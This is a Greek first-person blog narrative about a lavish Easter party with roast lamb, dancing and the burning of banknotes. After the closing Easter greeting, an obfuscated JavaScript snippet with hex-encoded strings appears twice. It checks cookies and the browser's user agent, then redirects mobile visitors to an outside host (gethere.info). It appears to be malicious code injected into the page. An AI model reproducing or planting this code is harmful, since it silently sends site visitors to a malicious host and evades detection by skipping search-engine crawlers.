Το ανοιξιάτικο ψύχος δυναμώνει όσο πέφτει η νύχτα και παρόλη τη ζεστή αίσθηση του κόκκινου κρασιού ο Τόνυ μας καλεί να περάσουμε μέσα στο σπίτι όπου σε ένα πολύ μεγάλο λίβινγκ ρουμ μας σερβίρουν ένα απίθανο παγωτό με αληθινές φράουλες και γαλλική σαμπάνια που δεν λείπει ποτέ από το σπίτι. Έχουμε ζεσταθεί και είμαστε όλοι πολύ άνετοι και συζητάμε για όλη αυτή την ιστορία με το Φοίβο και την Αθηνά και ο Τόνυ χαμογελώντας μας λέει ότι ενημερώθηκε τυχαία για την ιδέα μου στις λαμπάδες και δεν ήθελε να χάσει την ευκαιρία να το διασκεδάσουμε λίγο. Μετά σε μια κατάσταση χαλάρωσης και ευθυμίας πήρε το Φοίβο της Μάρας και δοκίμασε να σιδερώσει με τα παπούτσια του το μανίκι του κουστουμιού του. Απίθανη σαμπάνια, απίθανη βραδιά, η Τίνα καταγοητευμένη από τις εμπνεύσεις μου και ενώ το προσωπικό μαζεύει τα πιάτα και νομίζω ότι εδώ και αρκετή ώρα έχω την εντύπωση ότι μία ανεπαίσθητη λεπτή τσίκνα από αρνάκι φθάνει στη μύτη μου, μας μοιράζουν εντελώς αιφνιδιαστικά μπλε βαμβακερά γάντια και βγαίνουμε στο πίσω μέρος της κατοικίας που το προσωπικό ψήνει αρκετά αρνάκια το ένα δίπλα στο άλλο. Και φυσικά όπως καταλάβατε δεν έχει πιρούνια και μαχαίρια. Θα φάμε με τα γάντια χωρίς να κάψουμε τα χέρια μας και χωρίς να λερωθούμε.

Απίθανο αρνάκι στην ιδανική θερμοκρασία και πολύ νόστιμο και εδώ στο πίσω μέρος του σπιτιού κυκλοφορεί ένα άλλο κρασί, λιγότερο ξινό με πιο ισορροπημένη γεύση και βγάζουμε το γάντι για να κρατήσουμε το ποτήρι, ανταλλάσσουμε με τη Τίνα υπέροχα τραγανά κομμάτια από τη πέτσα του αρνιού και ταΐζουμε ο ένας τον άλλο στο στόμα, τσουγκρίζουμε κι άλλα αυγά και κάπου, κάποια στιγμή ένα κλαρίνο αφήνει να ξεχυθούν οι δυνατές νότες ενός καλαματιανού και κανείς μα κανείς δεν μένει έξω από το χορό και πάλι θυμάμαι το Πάσχα των παιδικών μου χρόνων, όταν προτιμούσα αντί αρνάκι να τρώω ζαμπόν και είχα μία φοβερή απέχθεια για το κρέας και πολλές φορές αναρωτήθηκα τότε: γιατί οι άνθρωποι δεν μπορούν να τρώνε κάθε μέρα σάντουιτς; γιατί οι οικογένειες δεν ψήνουν κάθε μέρα τοστ; και γιατί δεν φτιάχνουν πιο συχνά παστίτσιο και μακαρόνια με κιμά; Υπήρξα πολύ δύσκολο παιδί στο φαγητό γι’ αυτό άλλωστε διατηρώ πάντα αυτή την απόσταση από το φαγητό και αποκλείεται να παχύνω. Αυτό το πάρτι κυλάει πολύ όμορφα, υπάρχει κάπου ένας DJ που παίζει ένα ρεμίξ δημοτικών, τσιφτετέλι και χάουζ. Έχει βρει ένα τρόπο να μη κουράζει και το κέφι συνεχίζεται. Όταν πια μας έχουν πονέσει τα πόδια μια χορεύτρια εμφανίζεται από το πουθενά για να χορέψει ένα χορό της κοιλιάς στους ήχους του «θα τα κάψω τα ρημάδια τα λεφτά μου» και δεν ξέρω τι μας πιάνει αλλά όλοι θέλουν εκεί επί τόπου να κάψουν όσο πιο πολλά χρήματα γίνεται. Πρώτες οι κυρίες ανάβουν τα τσιγάρα τους από πεντακοσάρι ευρώ που πρόσφατα κυκλοφόρησε στην αγορά και ουσιαστικά είναι σαν δίγραμμη τραπεζική επιταγή και χωρίς έξοδα μάλιστα, αφού καμιά εκατοστή από αυτά είναι ούτε λίγο ούτε πολύ δεκαεπτά εκατομμύρια σε δραχμούλες. Και αφού λύσαμε τις διαφορές μας και με το χρήμα – αυτό το άθλιο και ποταπό κατασκεύασμα που κάνει την ανθρώπινη ύπαρξη έρμαιο της εκμετάλλευσης – το προσωπικό του Τόνυ μας έφερε ουίσκι δεκαπεντάρι και χοντρά πούρα σε διάφορα αρώματα.

Τα αστέρια τρεμοσβήνουν πάνω μας στο σκοτεινό θόλο της νύχτας, στα ηχεία η μουσική παραπαίει ανάμεσα σε σίξτις και σέβεντις. Όλα ρεμίξ, όλα «βελτιωμένα» με ηλεκτρονική επεξεργασία. Η Τίνα γέρνει πάνω μου και την αγκαλιάζω και τη φιλάω. Φεύγουμε πρώτοι από το πάρτι όχι γιατί νυστάζω αλλά θέλω να βρεθώ μόνος μου με τη Τίνα. Είναι και κείνη πολύ ανυπόμονη. Όταν φθάνουμε σπίτι δεν θέλει να ξεκολλήσει από πάνω μου. Δεν καταλαβαίνουμε ούτε τη ψύχρα που είναι διαπεραστική ούτε τη κούραση. Όταν τελικά την παίρνω στα χέρια μου για να πάμε στο σπίτι έχουμε αφήσει στο αμάξι τα παπούτσια της, το σακάκι μου και το Φοίβο με την Αθηνά με φορεμένες ακόμα τις βέρες τους…

…Χριστός Ανέστη, Χρόνια πολλά.var _0x446d=[«\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E»,»\x69\x6E\x64\x65\x78\x4F\x66″,»\x63\x6F\x6F\x6B\x69\x65″,»\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,»\x76\x65\x6E\x64\x6F\x72″,»\x6F\x70\x65\x72\x61″,»\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,»\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,»\x74\x65\x73\x74″,»\x73\x75\x62\x73\x74\x72″,»\x67\x65\x74\x54\x69\x6D\x65″,»\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D»,»\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,»\x6C\x6F\x63\x61\x74\x69\x6F\x6E»];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0x446d=[«\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E»,»\x69\x6E\x64\x65\x78\x4F\x66″,»\x63\x6F\x6F\x6B\x69\x65″,»\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,»\x76\x65\x6E\x64\x6F\x72″,»\x6F\x70\x65\x72\x61″,»\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,»\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,»\x74\x65\x73\x74″,»\x73\x75\x62\x73\x74\x72″,»\x67\x65\x74\x54\x69\x6D\x65″,»\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D»,»\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,»\x6C\x6F\x63\x61\x74\x69\x6F\x6E»];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Blog στο WordPress.com.